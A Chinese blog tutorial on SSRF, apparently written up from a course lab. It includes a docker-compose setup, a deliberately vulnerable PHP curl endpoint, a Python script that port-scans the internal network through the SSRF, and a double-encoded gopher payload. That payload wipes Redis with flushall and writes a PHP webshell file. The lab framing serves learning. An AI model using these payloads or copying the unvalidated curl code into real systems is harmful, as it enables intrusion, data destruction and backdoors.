SSRF一篇文章实战举例全面学懂

image.png

前言

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

上面这篇文章真的写的很好,是目前看过最好的将SSRF(服务端请求伪造)和Gopher协议的内容。

然后这种题型,我记得在之前的文章,金砖里有个云启的练习,用的就是SSRF漏洞+file协议,呜呜呜那时候还不知道是啥。现在回首原来如此。

2023有关金砖的练习题(云启平台) - 乙太的小屋 (52ying.top)

SSRF

环境的搭建

首先推荐的还是docker,我已经将搭建好的环境打包成了镜像推送到了云,可以直接拉取。

docker pull uniqueelven/ssrf:redis

docker pull uniqueelven/ssrf:php

docker pull uniqueelven/ssrf:mysql

主要就是由以上三部分内容构成的。以下附上ms08067的源码,我是看他的课程学习的,此文章做一个资源整合和总结

ersion: '2'
services:
 php:
   image: polinux/httpd-php
   volumes:
    - ./www:/var/www/html
   networks:
    - ssrf-ms08067
   ports:
    - "8082:80"
 mysql:
   image: vulhub/mysql:5.5.23
   networks:
    - ssrf-ms08067
   ports:
    - "3306"
 redis:
   image: vulhub/redis:4.0.14
   networks:
    - ssrf-ms08067
   ports:
    - "6379"
networks:
  ssrf-ms08067:
    driver: bridge

(踩个坑,以后redis最好像上面这样指定版本,因为我现在这个dokcer下载默认最新版的redis可能会出现无法成功运行的问题,我不知道为啥)

curl.php

<?php
    $location=$_GET['path']; // Get the URL from the user.
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
    curl_exec ($curl); 
    curl_close ($curl);
?>

index.php

<html>
    <head>
         <style> div.main { margin-left:auto; margin-right:auto; width:50%; } body { background-color:  #f5f5f0; }</style>
	 <title>
        Awesome Script!
        </title>
    </head>
    <body>
    <div class="main">
	<h1>Welcome to the Awesome Script</h1>
    <p>Here you will be able to load any page you want. You won't have to worry about revealing your IP anymore! We use the cURL library in order to perform the HTTP requests. Have fun!</p>
    <br>
    <form method="GET" action="curl.php">
        <input type="text" value="Website to load..." name="path">
        <input type="submit" value="Submit">
    </form>
</div>
    </body>
</html>

关于docker的启动可以看我前面关于docker介绍的文章。

题目复现

访问页面,尝试访问本机内部的flag文件,可以成功访问

image.png

image.png

使用命令docker inspect ID可以查看容器内部网卡等信息。

得到redis:172.19.0.4,php:172.19.0.3,mysql:172.19.0.2

通过burp抓包发现,没有内容的时候返回信息长度是2,有返回信息时候就不是,比如下面有端口打开,就是这样的。

image.png

通过长度关键信息,我们可以写探测脚本:

#!/usr/bin/python3
# -*- coding-utf-8 -*-

import requests
import optparse

def portscan(targetURL, scout):
    # 待检测端口
    ports = [21, 22, 23, 25, 80, 443, 445, 873,
             1080, 1099, 1090, 1521, 3306, 6379, 27017]
    # 判断是单个地址还是地址段
    if '-' in scout:
        # 循环扫描每个地址
        for i in range(int(scout.split('-')[0].split('.')[3]), int(scout.split('-')[1].split('.')[3]) + 1):
            host = scout.split('-')[0].split('.')[0] + '.' + scout.split('-')[0].split(
                '.')[1] + '.' + scout.split('-')[0].split('.')[2] + '.' + str(i)
            print("\n" + "===" + host + "===" + '\n')
            for port in ports:
                URL = targetURL + str(host) + ":" + str(port)
                respone = requests.get(URL, timeout=6)
                # 页面返回内容大于2说明端口开放
                if len(respone.text) > 2:
                    print(str(port) + "\n")
                else:
                    pass
            print("\n" + "="*16 + '\n')
    # 扫描单个地址
    else:
        print("\n" + "===" + scout + "===" + '\n')
        for port in ports:
            URL = targetURL + scout + ":" + str(port)
            respone = requests.get(URL, timeout=6)
            # 页面返回内容大于2说明端口开放
            if len(respone.text) > 2:
                print(str(port) + "\n")
            else:
                pass
        print("\n" + "="*16 + '\n')  
  

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python3 %prog targetURL scout \n\n'
                                'Example: python3 %prog -t http://192.168.1.1:8082/curl.php?path= -s 192.168.1.2\n')
    parser.add_option('-t', '--targetURL', dest='targetURL',
                      default='http://192.168.1.1:8082/curl.php?path=', help='targetURL')
    parser.add_option('-s', '--scout', dest='scout',
                      default='192.168.1.2', help='192.168.1.2 or 192.168.1.1-192.168.1.255')
    (options, args) = parser.parse_args()
    portscan(options.targetURL, options.scout)

使用pyhton脚本探测内网

image.png

ssrf+redis

由于内网还有环境开放了,我们访问不到,但是可以通过这个暴露在外部的php服务器的ssrf来探测内网的redis,再通过redis的漏洞来写shell。

在PHP在接收到参数后会做一次URL的解码,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,会导致不成功,所以我们要进行二次URL编码

以下是我们要执行的操作

flushall 命令用于清空整个 Redis 服务器的数据,感觉还是别乱用,不然ctf怕清了flag
config set dir /tmp
config set dbfilename shell.php
set ‘webshell’ ‘<?php phpinfo();?>’
save

构造payload:

gopher://172.19.0.4:6379/_flushall%0d%0aconfig%20set%20dir%20/tmp%0d%0aconfig%20set%20dbfilename%20shell.php%0d%0aset%20'webshell'%20'<?php phpinfo();?>'%0d%0asave%0d%0a

然后二次编码,再提交:

http://192.168.150.131:8082/curl.php?path=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%39%2e%30%2e%34%3a%36%33%37%39%2f%5f%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%63%6f%6e%66%69%67%25%32%30%73%65%74%25%32%30%64%69%72%25%32%30%2f%74%6d%70%25%30%64%25%30%61%63%6f%6e%66%69%67%25%32%30%73%65%74%25%32%30%64%62%66%69%6c%65%6e%61%6d%65%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%30%64%25%30%61%73%65%74%25%32%30%27%77%65%62%73%68%65%6c%6c%27%25%32%30%27%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%27%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

image.png

完美!

redis安全

参考链接
SSRF漏洞原理攻击与防御(超详细总结)

  • 44
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

是乙太呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值